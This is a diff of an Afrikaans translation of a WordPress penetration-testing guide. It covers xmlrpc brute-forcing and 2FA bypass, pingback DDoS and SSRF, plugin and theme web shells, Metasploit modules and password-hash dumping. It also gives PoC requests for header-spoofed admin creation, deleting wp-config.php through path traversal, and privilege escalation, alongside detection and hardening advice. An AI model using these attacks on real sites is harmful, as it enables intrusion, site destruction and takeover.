 ![](<../../images/image (721).png>)
 
-Met die korrekte credentials kan jy 'n lêer upload. In die response sal die pad verskyn ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
+Met die korrekte credentials kan jy 'n lêer oplaai. In die response sal die pad verskyn ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
 ```html
 <?xml version='1.0' encoding='utf-8'?>
 <methodCall>
@@ -168,18 +168,17 @@ Met die korrekte credentials kan jy 'n lêer upload. In die response sal die pad
 </params>
 </methodCall>
 ```
-Daar is ook 'n **vinnig(er) manier** om brute-force credentials te probeer deur **`system.multicall`** te gebruik aangesien jy verskeie credentials in dieselfde versoek kan probeer:
+Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
 
 <figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
 
 **Bypass 2FA**
 
-Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud, daarom ondersteun dit nie 2FA nie. Dus, as jy geldige creds het maar die hooftoegang is beskerm deur 2FA, **mag jy in staat wees om xmlrpc.php te misbruik om met daardie creds in te teken en 2FA te omseil**. Let daarop dat jy nie al die aksies kan uitvoer wat deur die console moontlik is nie, maar jy mag steeds na RCE kan kom soos Ippsec dit verduidelik in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
+Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud, daarom ondersteun dit nie 2FA nie. Dus, as jy geldige creds het maar die hooftoegang is beskerm deur 2FA, **mag jy in staat wees om xmlrpc.php te misbruik om met daardie creds in te log en 2FA te omseil**. Neem kennis dat jy nie al die aksies kan uitvoer wat jy via die console kan doen nie, maar jy mag steeds RCE bereik soos Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
 
 **DDoS or port scanning**
 
-If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
-This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** lo **scan** some internal **network** (you can indicate any port).
+As jy die metode _**pingback.ping**_ in die lys kan vind, kan jy Wordpress laat 'n arbitrêre versoek na enige host/port stuur. Dit kan gebruik word om **duisende** Wordpress **sites** te laat **access** een **location** (sodat 'n **DDoS** op daardie plek veroorsaak word), of jy kan dit gebruik om Wordpress te laat **scan** 'n interne **network** (jy kan enige port aandui).
 ```html
 <methodCall>
 <methodName>pingback.ping</methodName>
@@ -191,7 +190,7 @@ This can be used to ask **thousands** of Wordpress **sites** to **access** one *
 ```
 ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
 
-As jy **faultCode** kry met 'n waarde **groter** as **0** (17), beteken dit die poort is oop.
+As jy **faultCode** kry met 'n waarde **groter** as **0** (17), beteken dit dat die poort oop is.
 
 Kyk na die gebruik van **`system.multicall`** in die vorige afdeling om te leer hoe om hierdie metode te misbruik om DDoS te veroorsaak.
 
@@ -209,15 +208,15 @@ Kyk na die gebruik van **`system.multicall`** in die vorige afdeling om te leer
 
 ### wp-cron.php DoS
 
-Hierdie lêer bestaan gewoonlik in die root van die Wordpress-site: **`/wp-cron.php`**\
-Wanneer hierdie lêer **toeganklik** is, word 'n "**sware**" MySQL **query** uitgevoer, so dit kan deur **aanvallers** gebruik word om 'n **DoS** te **veroorsaak**.\
-Ook, standaard word `wp-cron.php` op elke bladlaai aangeroep (elke keer wanneer 'n kliënt 'n Wordpress-blad versoek), wat op hoë-verkeer werwe probleme (DoS) kan veroorsaak.
+Hierdie lêer bestaan gewoonlik in die wortel van die Wordpress-webwerf: **`/wp-cron.php`**\
+Wanneer hierdie lêer **geakses** word, word 'n "**swaar**" MySQL **query** uitgevoer, sodat dit deur **aanvallers** gebruik kan word om 'n **DoS** te **veroorsaak**.\
+Ook, standaard word die `wp-cron.php` by elke bladsylaai aangeroep (wanneer 'n kliënt enige Wordpress-bladsy versoek), wat op werwe met hoë verkeer probleme kan veroorsaak (DoS).
 
-Dit word aanbeveel om Wp-Cron te deaktiveer en 'n werklike cronjob binne die host te skep wat die nodige aksies op gereelde intervalle uitvoer (sonder om probleme te veroorsaak).
+Dit word aanbeveel om Wp-Cron te deaktiveer en 'n regte cronjob op die host te skep wat die nodige take met gereelde intervalle uitvoer (sonder om probleme te veroorsaak).
 
 ### /wp-json/oembed/1.0/proxy - SSRF
 
-Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ and the Worpress site may make a request to you.
+Probeer om toegang te kry tot _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ en die Wordpress-werf mag 'n versoek aan jou stuur.
 
 This is the response when it doesn't work:
 
@@ -230,24 +229,24 @@ This is the response when it doesn't work:
 https://github.com/t0gu/quickpress/blob/master/core/requests.go
 {{#endref}}
 
-Hierdie tool checks if the **methodName: pingback.ping** and for the path **/wp-json/oembed/1.0/proxy** and if exists, it tries to exploit them.
+Hierdie tool kontroleer of die **methodName: pingback.ping** en die pad **/wp-json/oembed/1.0/proxy** bestaan — as dit bestaan, probeer dit om dit te exploit.
 
-## Outomatiese Gereedskap
+## Outomatiese Tools
 ```bash
 cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
 wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
 #You can try to bruteforce the admin user using wpscan with "-U admin"
 ```
-## Kry toegang deur 'n bit oor te skryf
+## Kry toegang deur 'n bit te oorskryf
 
-Meer as 'n echte attack is dit 'n nuuskierigheid. In die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bit van enige wordpress-lêer flip. So kon jy die posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` flip om die NOT (`!`) operasie te NOP.
+Meer 'n nuuskierigheid as 'n werklike aanval. In die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bit van enige wordpress-lêer flip. Dus kon jy posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` flip om die NOT (`!`) operasie te NOP.
 ```php
 if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
 return new WP_Error(
 ```
 ## **Paneel RCE**
 
-**Wysig 'n php van die tema wat gebruik word (admin credentials benodig)**
+**Aanpassing van 'n php-lêer van die tema wat gebruik word (admin credentials benodig)**
 
 Appearance → Theme Editor → 404 Template (aan die regterkant)
 
@@ -255,7 +254,7 @@ Verander die inhoud na 'n php shell:
 
 ![](<../../images/image (384).png>)
 
-Soek op die internet hoe jy daardie bygewerkte blad kan bereik. In hierdie geval moet jy hier toegang kry: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
+Soek op die internet hoe jy daardie bygewerkte bladsy kan bereik. In hierdie geval moet jy hier toegang kry: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
 
 ### MSF
 
@@ -263,14 +262,14 @@ Jy kan gebruik:
 ```bash
 use exploit/unix/webapp/wp_admin_shell_upload
 ```
-om 'n sessie te kry.
+om 'n session te kry.
 
 ## Plugin RCE
 
 ### PHP plugin
 
-Dit kan moontlik wees om .php-lêers as 'n plugin op te laai.\
-Skep jou php backdoor, byvoorbeeld:
+Dit mag moontlik wees om .php-lêers as 'n plugin op te laai.\
+Skep jou php backdoor byvoorbeeld met:
 
 ![](<../../images/image (183).png>)
 
@@ -278,7 +277,7 @@ Voeg dan 'n nuwe plugin by:
 
 ![](<../../images/image (722).png>)
 
-Laai die plugin op en druk Install Now:
+Laai die plugin op en klik Install Now:
 
 ![](<../../images/image (249).png>)
 
@@ -286,44 +285,44 @@ Klik op Procced:
 
 ![](<../../images/image (70).png>)
 
-Dit sal waarskynlik niks doen nie, maar as jy na Media gaan, sal jy jou shell sien wat opgelaai is:
+Waarskynlik sal dit eintlik niks doen nie, maar as jy na Media gaan, sal jy jou shell sien wat opgelaai is:
 
 ![](<../../images/image (462).png>)
 
-Gaan daarheen en jy sal die URL sien om die reverse shell uit te voer:
+Maak dit oop en jy sal die URL sien om die reverse shell uit te voer:
 
 ![](<../../images/image (1006).png>)
 
-### Oplaai en aktiveer kwaadwillige plugin
+### Uploading and activating malicious plugin
 
-Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is as kwesbaar en wat uitgebuit kan word om 'n web shell te verkry. Hierdie proses word deur die WordPress dashboard uitgevoer soos volg:
+Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is as kwesbaar en wat uitgebuit kan word om 'n web shell te bekom. Hierdie proses word via die WordPress dashboard uitgevoer soos volg:
 
-1. **Plugin Acquisition**: Die plugin word verkry vanaf 'n bron soos Exploit DB, byvoorbeeld [**here**](https://www.exploit-db.com/exploits/36374).
+1. **Plugin Acquisition**: Die plugin word verkry vanaf 'n bron soos Exploit DB soos [**here**](https://www.exploit-db.com/exploits/36374).
 2. **Plugin Installation**:
-- Gaan na die WordPress dashboard, dan na `Dashboard > Plugins > Upload Plugin`.
+- Navigeer na die WordPress dashboard, gaan dan na `Dashboard > Plugins > Upload Plugin`.
 - Laai die zip-lêer van die afgelaaide plugin op.
-3. **Plugin Activation**: Sodra die plugin suksesvol geïnstalleer is, moet dit deur die dashboard geaktiveer word.
+3. **Plugin Activation**: Sodra die plugin suksesvol geïnstalleer is, moet dit via die dashboard geaktiveer word.
 4. **Exploitation**:
 - Met die plugin "reflex-gallery" geïnstalleer en geaktiveer, kan dit uitgebuit word aangesien dit bekend is as kwesbaar.
-- Die Metasploit framework bied 'n exploit vir hierdie kwesbaarheid. Deur die toepaslike module te laad en spesifieke opdragte uit te voer, kan 'n meterpreter session gevestig word wat ongemagtigde toegang tot die site gee.
-- Daar word opgemerk dat dit net een van die vele metodes is om 'n WordPress site uit te buit.
+- Die Metasploit framework bied 'n exploit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke opdragte uit te voer, kan 'n meterpreter session gevestig word, wat ongemagtigde toegang tot die site verleen.
+- Daar word opgemerk dat dit net een van die vele metodes is om 'n WordPress site uit te buiten.
 
-Die inhoud sluit visuele hulpmiddels in wat die stappe op die WordPress dashboard uitbeeld om die plugin te installeer en te aktiveer. Dit is egter belangrik om op te let dat die uitbuiting van kwesbaarhede op hierdie wyse onwettig en oneties is sonder behoorlike toestemming. Hierdie inligting moet verantwoordelik gebruik word en slegs in 'n wettige konteks, soos penetration testing met uitdruklike toestemming.
+Die inhoud bevat visuele hulpmiddels wat die stappe in die WordPress dashboard uitbeeld vir die installering en aktivering van die plugin. Dit is egter belangrik om te let dat die uitbuiting van kwesbaarhede op hierdie manier onwettig en oneties is sonder behoorlike toestemming. Hierdie inligting moet verantwoordelik gebruik word en slegs in 'n wettige konteks, soos penetration testing met uitdruklike toestemming.
 
 **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
 
-## Van XSS na RCE
+## From XSS to RCE
 
-- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is 'n script ontwerp om 'n **Cross-Site Scripting (XSS)** kwesbaarheid op te skaal na **Remote Code Execution (RCE)** of ander kritieke kwesbaarhede in WordPress. Vir meer info sien [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Dit bied **ondersteuning vir Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
+- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is 'n script ontwerp om 'n **Cross-Site Scripting (XSS)**-kwesbaarheid te eskaleer na **Remote Code Execution (RCE)** of ander kritieke kwesbaarhede in WordPress. Vir meer info kyk [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Dit bied **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
 - _**Privilege Escalation:**_ Skep 'n gebruiker in WordPress.
-- _**(RCE) Custom Plugin (backdoor) Upload:**_ Upload jou custom plugin (backdoor) na WordPress.
-- _**(RCE) Built-In Plugin Edit:**_ Edit Built-In Plugins in WordPress.
-- _**(RCE) Built-In Theme Edit:**_ Edit Built-In Themes in WordPress.
-- _**(Custom) Custom Exploits:**_ Custom Exploits vir Third-Party WordPress Plugins/Themes.
+- _**(RCE) Custom Plugin (backdoor) Upload:**_ Laai jou pasgemaakte plugin (backdoor) op na WordPress.
+- _**(RCE) Built-In Plugin Edit:**_ Redigeer ingeboude plugins in WordPress.
+- _**(RCE) Built-In Theme Edit:**_ Redigeer ingeboude temas in WordPress.
+- _**(Custom) Custom Exploits:**_ Pasgemaakte exploits vir derdeparty WordPress plugins/temas.
 
 ## Post Exploitation
 
-Haal gebruikersname en wagwoorde uit:
+Haal usernames en passwords uit:
 ```bash
 mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
 ```
@@ -335,21 +334,21 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
 
 ### Aanvalsoppervlak
 
-Om te weet hoe 'n Wordpress plugin funksionaliteit kan blootstel, is noodsaaklik om kwesbaarhede daarin te vind. Jy kan sien hoe 'n plugin funksionaliteit kan blootstel in die volgende punte en 'n paar voorbeelde van kwesbare plugins in [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
+Om te weet hoe 'n Wordpress plugin funksionaliteit kan blootstel is noodsaaklik om kwesbaarhede in daardie funksionaliteit te vind. Jy kan sien hoe 'n plugin funksionaliteit kan blootstel in die volgende punte en 'n paar voorbeelde van kwesbare plugins in [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
 
 - **`wp_ajax`**
 
-Een van die maniere waarop 'n plugin funksies aan gebruikers blootstel is deur middel van AJAX handlers. Hierdie kan logic-, authorization- of authentication-bugs bevat. Boonop gebeur dit dikwels dat hierdie funksies beide authentication en authorization baseer op die bestaan van 'n Wordpress nonce wat **enige gebruiker wat authenticated is in die Wordpress instance moontlik het** (onafhanklik van hul rol).
+Een van die maniere waarop 'n plugin funksies aan gebruikers kan blootstel, is via AJAX handlers. Hierdie kan logika-, authorization- of authentication-bugs bevat. Boonop gebeur dit dikwels dat hierdie funksies beide die authentication en authorization baseer op die bestaan van 'n Wordpress nonce wat **enige gebruiker wat in die Wordpress instance geauthentiseer is** kan hê (ongeag hul rol).
 
 Dit is die funksies wat gebruik kan word om 'n funksie in 'n plugin bloot te stel:
 ```php
 add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
 add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
 ```
-**Die gebruik van `nopriv` maak die endpoint toeganklik vir enige gebruikers (selfs ongeauthentiseerde gebruikers).**
+**Die gebruik van `nopriv` maak die endpoint deur enigiemand toeganklik (selfs nie-geauthentiseerde gebruikers).**
 
 > [!CAUTION]
-> Boonop, as die funksie net die toestemming van die gebruiker nagaan met die funksie `wp_verify_nonce`, kontroleer hierdie funksie slegs of die gebruiker aangemeld is; dit kontroleer gewoonlik nie die rol van die gebruiker nie. Dus mag gebruikers met lae voorregte toegang hê tot hoë-voorregte aksies.
+> Verder, as die funksie net die autorisasie van die gebruiker met die funksie `wp_verify_nonce` kontroleer, kontroleer hierdie funksie net of die gebruiker ingeklok is; dit kontroleer gewoonlik nie die rol van die gebruiker nie. Dus kan gebruikers met laer voorregte toegang hê tot aksies wat hoër voorregte vereis.
 
 - **REST API**
 
@@ -365,19 +364,19 @@ $this->namespace, '/get/', array(
 ```
 Die `permission_callback` is 'n callback-funksie wat nagaan of 'n gegewe gebruiker gemagtig is om die API-metode aan te roep.
 
-**If the built-in `__return_true` function is used, it'll simply skip user permissions check.**
+**As die ingeboude `__return_true` funksie gebruik word, sal dit eenvoudig die gebruikerstoestemmingskontrole oorslaan.**
 
 - **Direkte toegang tot die php-lêer**
 
-Natuurlik gebruik Wordpress PHP en lêers binne plugins is direk vanaf die web toeganklik. Dus, as 'n plugin enige kwesbare funksionaliteit blootstel wat slegs deur toegang tot die lêer geaktiveer word, sal dit deur enige gebruiker uitgebuit kan word.
+Natuurlik gebruik Wordpress PHP en lêers binne plugins is direk via die web toeganglik. Dus, as 'n plugin enige kwesbare funksionaliteit ontsluit wat net deur toegang tot die lêer geaktiveer word, sal dit deur enige gebruiker uitgebuit kan word.
 
 ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
 
-Sommige plugins implementeer “trusted header” kortpaaie vir interne integrasies of reverse proxies en gebruik dan daardie header om die huidige gebruiker-konteks vir REST-versoeke te stel. As die header nie deur 'n upstream-komponent kriptografies aan die versoek gebind is nie, kan 'n aanvaller dit naboots en gemagtigde REST-roetes as 'n administrateur bereik.
+Some plugins implement “trusted header” shortcuts for internal integrations or reverse proxies and then use that header to set the current user context for REST requests. If the header is not cryptographically bound to the request by an upstream component, an attacker can spoof it and hit privileged REST routes as an administrator.
 
-- Impact: ongeauthentiseerde privilege escalation to admin by creating a new administrator via the core users REST route.
-- Example header: `X-Wcpay-Platform-Checkout-User: 1` (forces user ID 1, typically the first administrator account).
-- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
+- Impak: ongeauthentiseerde bevoegdheidsverhoging na administrateur deur 'n nuwe administrateur te skep via die core users REST route.
+- Voorbeeld header: `X-Wcpay-Platform-Checkout-User: 1` (dwing gebruiker-ID 1 af, tipies die eerste administrateur-rekening).
+- Uitgebuite roete: `POST /wp-json/wp/v2/users` met 'n verhoogde rol-array.
 
 PoC
 ```http
@@ -393,38 +392,38 @@ Content-Length: 114
 ```
 Waarom dit werk
 
-- Die plugin koppel 'n kliënt-beheerde header aan die outentiseringsstatus en slaan capability-kontroles oor.
-- WordPress core verwag die `create_users` capability vir hierdie roete; die plugin hack omseil dit deur die huidige gebruiker-konteks direk vanaf die header te stel.
+- Die plugin koppel 'n kliënt-gekontroleerde header aan die autentiseringsstatus en slaan capability-controles oor.
+- WordPress core verwag die `create_users` capability vir hierdie route; die plugin-hack omseil dit deur die huidige gebruiker-konteks direk uit die header te stel.
 
 Verwagte suksesaanwysers
 
-- HTTP 201 met 'n JSON-body wat die geskepte gebruiker beskryf.
-- 'n nuwe admin gebruiker sigbaar in `wp-admin/users.php`.
+- HTTP 201 met 'n JSON-liggaam wat die geskepte gebruiker beskryf.
+- 'n Nuwe admin gebruiker sigbaar in `wp-admin/users.php`.
 
 Opsporingskontrolelys
 
-- Grep vir `getallheaders()`, `$_SERVER['HTTP_...']`, of vendor SDKs wat pasgemaakte headers lees om die gebruiker-konteks te stel (bv. `wp_set_current_user()`, `wp_set_auth_cookie()`).
-- Hersien REST-registrasies vir bevoorregte callbacks wat nie robuuste `permission_callback`-kontroles het nie en eerder op request headers staatmaak.
-- Soek gebruike van kern user-management funksies (`wp_insert_user`, `wp_create_user`) binne REST handlers wat slegs op headerwaardes staatmaak.
+- Grep vir `getallheaders()`, `$_SERVER['HTTP_...']`, of vendor SDKs wat aangepaste headers lees om gebruikerskonteks te stel (bv. `wp_set_current_user()`, `wp_set_auth_cookie()`).
+- Hersien REST-registrasies vir bevoorregte callbacks wat nie robuuste `permission_callback`-kontroles het nie en in plaas daarvan op versoek-headers staatmaak.
+- Kyk vir gebruik van core user-management funksies (`wp_insert_user`, `wp_create_user`) binne REST-handlers wat slegs deur header-waardes gefilter word.
 
 Verharding
 
-- Moet nooit outentisering of autorisasie aflei uit kliënt-beheerde headers nie.
-- As 'n reverse proxy identiteit moet injekteer, beëindig vertroue by die proxy en verwyder inkomende kopieë (bv. `unset X-Wcpay-Platform-Checkout-User` by die edge), en stuur dan 'n ondertekende token wat server-side geverifieer word.
-- Vir REST-roetes wat bevoorregte aksies uitvoer, vereis `current_user_can()`-kontroles en 'n streng `permission_callback` (MOENIE `__return_true` gebruik nie).
-- Gee voorkeur aan eerste-party auth (cookies, application passwords, OAuth) bo header “impersonation”.
+- Moet nooit autentisering of magtiging aflei uit kliënt-gekontrolleerde headers nie.
+- Indien 'n reverse proxy identiteit moet injekteer, beëindig vertroulikheid by die proxy en verwyder inkomende kopieë (bv. `unset X-Wcpay-Platform-Checkout-User` by die edge), en stuur dan 'n getekende token en verifieer dit server-side.
+- Vir REST-routes wat bevoorregte aksies uitvoer, vereis `current_user_can()`-kontroles en 'n streng `permission_callback` (gebruik NIE `__return_true` nie).
+- Voorkeur eerste-party auth (cookies, application passwords, OAuth) bo header “impersonation”.
 
-Verwysings: sien die skakels aan die einde van hierdie bladsy vir 'n openbare geval en breër analise.
+References: sien die skakels aan die einde van hierdie bladsy vir 'n openbare geval en breër ontleding.
 
-### Nie-geauthentiseerde Willekeurige Lêeruitwissing via wp_ajax_nopriv (Litho Theme <= 3.0)
+### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
 
-WordPress temas en plugins openbaar dikwels AJAX-handlers deur die `wp_ajax_` en `wp_ajax_nopriv_` hooks. Wanneer die **_nopriv_** variant gebruik word **word die callback bereikbaar deur nie-geauthentiseerde besoekers**, daarom moet enige sensitiewe aksie bykomend die volgende implementeer:
+WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks.  When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
 
-1. 'n **capability check** (bv. `current_user_can()` of ten minste `is_user_logged_in()`), en
-2. 'n **CSRF nonce** gevalideer met `check_ajax_referer()` / `wp_verify_nonce()`, en
-3. **Streng invoersanitisering / validasie**.
+1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
+2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
+3. **Strict input sanitisation / validation**.
 
-Die Litho multipurpose theme (< 3.1) het daardie 3 kontroles in die *Remove Font Family* funksie vergeet en het uiteindelik die volgende kode in die uitgawe ingesluit (vereenvoudig):
+The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
 ```php
 function litho_remove_font_family_action_data() {
 if ( empty( $_POST['fontfamily'] ) ) {
@@ -443,28 +442,28 @@ die();
 add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
 add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
 ```
-Probleme wat deur hierdie snippet geïntroduseer word:
+Probleme geïntroduseer deur hierdie stukkie:
 
-* **Ongeauthentiseerde toegang** – the `wp_ajax_nopriv_` hook is registered.
-* **Geen nonce / capability check** – enige besoeker kan die endpoint aanroep.
-* **Geen pad-sanitisering** – die deur die gebruiker beheerde `fontfamily` string word sonder filtrering aan 'n lêerstelselpad gekonkateneer, wat klassieke `../../` traversal toelaat.
+* **Unauthenticated access** – die `wp_ajax_nopriv_` hook is geregistreer.
+* **No nonce / capability check** – enige besoeker kan die endpoint aanroep.
+* **No path sanitisation** – die deur gebruiker beheerste `fontfamily` string word aan 'n lêerstelselpad gekonkateneer sonder filtrasie, wat klassieke `../../` traversering toelaat.
 
 #### Uitbuiting
 
-'n aanvaller kan enige lêer of gids **onder die uploads base directory** (gewoonlik `<wp-root>/wp-content/uploads/`) verwyder deur 'n enkele HTTP POST-versoek te stuur:
+'n aanvaller kan enige lêer of gids **onder die uploads base directory** (gewoonlik `<wp-root>/wp-content/uploads/`) verwyder deur 'n enkele HTTP POST versoek te stuur:
 ```bash
 curl -X POST https://victim.com/wp-admin/admin-ajax.php \
 -d 'action=litho_remove_font_family_action_data' \
 -d 'fontfamily=../../../../wp-config.php'
 ```
-Omdat `wp-config.php` buite *uploads* leef, is vier `../`-reekse genoeg op 'n standaardinstallasie. Deletie van `wp-config.php` dwing WordPress in die *installasiewizard* by die volgende besoek, wat 'n volledige webwerf-oorneem moontlik maak (die aanvaller voorsien net 'n nuwe DB-konfigurasie en skep 'n admingebruiker).
+Omdat `wp-config.php` buite *uploads* lê, is vier `../`-reekse genoeg op 'n standaardinstallasie. Die verwydering van `wp-config.php` dwing WordPress by die volgende besoek in die *installation wizard*, wat 'n volledige webwerf-oorname moontlik maak (die aanvaller verskaf net 'n nuwe DB-konfigurasie en skep 'n admin-gebruiker).
 
-Ander impakvolle teikens sluit in plugin/theme `.php`-lêers (om security-plugins te breek) of `.htaccess`-reëls.
+Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
 
 #### Opsporingskontrolelys
 
 * Enige `add_action( 'wp_ajax_nopriv_...')` callback wat filesystem helpers aanroep (`copy()`, `unlink()`, `$wp_filesystem->delete()`, ens.).
-* Konkatenering van ongefilterde gebruikersinvoer in paaie (kyk vir `$_POST`, `$_GET`, `$_REQUEST`).
+* Samestelling van ongesuiwerde gebruikerinvoer in paaie (soek na `$_POST`, `$_GET`, `$_REQUEST`).
 * Afwesigheid van `check_ajax_referer()` en `current_user_can()`/`is_user_logged_in()`.
 
 #### Verharding
@@ -487,16 +486,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
 //  🔒  NO wp_ajax_nopriv_ registration
 ```
 > [!TIP]
-> **Altyd** behandel enige skryf/verwyder-operasie op die skyf as privileged en dubbelkontroleer:
+> **Altyd** beskou enige skryf/verwyder-bewerking op skyf as bevoorreg en kontroleer dit twee keer:
 > • Authentication  • Authorisation  • Nonce  • Input sanitisation  • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
 
 ---
 
-### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
+### Privilege escalation via verouderde rolherstel and missing authorization (ASE "View Admin as Role")
 
-Baie plugins implementeer a "view as role" of temporary role-switching funksie deur die oorspronklike rol(le) in user meta te stoor sodat dit later herstel kan word. As die herstelpad slegs op request parameters (bv. `$_REQUEST['reset-for']`) en 'n plugin-onderhoude lys staatmaak sonder om capabilities en 'n geldige nonce te kontroleer, lei dit tot 'n vertical privilege escalation.
+Baie plugins implementeer 'n "view as role" of temporary role-switching funksie deur die oorspronklike rol(le) in user meta te stoor sodat hulle later herstel kan word. As die herstelpad slegs op request parameters (bv., `$_REQUEST['reset-for']`) en 'n plugin-onderhoude lys staatmaak sonder om capabilities en 'n geldige nonce na te gaan, word dit 'n vertical privilege escalation.
 
-'n Werklike voorbeeld is gevind in die Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Die reset-branch het rolle herstel gebaseer op `reset-for=<username>` as die gebruikersnaam in 'n interne array `$options['viewing_admin_as_role_are']` verskyn het, maar het geen `current_user_can()`-kontrole uitgevoer nie en ook nie 'n nonce-verifikasie nie voordat dit huidige rolle verwyder en die gestoor rolle uit user meta `_asenha_view_admin_as_original_roles` weer bygevoeg het:
+'n Werklike voorbeeld is gevind in die Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Die reset-branch het rolle herstel gebaseer op `reset-for=<username>` as die gebruikersnaam in 'n interne array `$options['viewing_admin_as_role_are']` verskyn het, maar het geen `current_user_can()` kontrole of nonce-verifikasie uitgevoer voordat dit die huidige rolle verwyder en die gestoor rolle uit user meta `_asenha_view_admin_as_original_roles` herbygevoeg het nie:
 ```php
 // Simplified vulnerable pattern
 if ( isset( $_REQUEST['reset-for'] ) ) {
@@ -513,17 +512,17 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
 ```
 Waarom dit uitbuitbaar is
 
-- Vertrou op `$_REQUEST['reset-for']` en 'n plugin-opsie sonder server-side magtiging.
-- As 'n gebruiker voorheen hoër voorregte in `_asenha_view_admin_as_original_roles` gestoor gehad het en afgegradeer is, kan hulle dit herstel deur die reset-pad te tref.
-- In sommige implementasies kon enige geauthentiseerde gebruiker 'n reset vir 'n ander gebruikersnaam wat nog in `viewing_admin_as_role_are` teenwoordig is, aktiveer (gebreekte magtiging).
+- Vertrou op `$_REQUEST['reset-for']` en 'n plugin opsie sonder server-side authorization.
+- As 'n gebruiker voorheen hoër voorregte gehad het wat gestoor is in `_asenha_view_admin_as_original_roles` en daarna afgegradeer is, kan hulle dit herstel deur die reset path te besoek.
+- In sommige deployments kan enige authenticated user 'n reset trigger vir 'n ander gebruikersnaam wat nog in `viewing_admin_as_role_are` bestaan (broken authorization).
 
 Aanvalsvereistes
 
-- Kwetsbare plugin-weergawe met die funksie aangeskakel.
-- Teikenrekening het 'n verouderde hoë-privilege rol gestoor in user meta vanaf vroeër gebruik.
-- Enige geauthentiseerde sessie; ontbrekende nonce/capability in die reset-stroom.
+- Kwetsbare plugin-weergawe met die funksie geaktiveer.
+- Teikenrekening het 'n verouderde high-privilege role gestoor in user meta van vroeër gebruik.
+- Enige authenticated session; ontbrekende nonce/capability in die reset flow.
 
-Eksploitasie (voorbeeld)
+Uitbuiting (voorbeeld)
 ```bash
 # While logged in as the downgraded user (or any auth user able to trigger the code path),
 # hit any route that executes the role-switcher logic and include the reset parameter.
@@ -531,34 +530,34 @@ Eksploitasie (voorbeeld)
 curl -s -k -b 'wordpress_logged_in=...' \
 'https://victim.example/wp-admin/?reset-for=<your_username>'
 ```
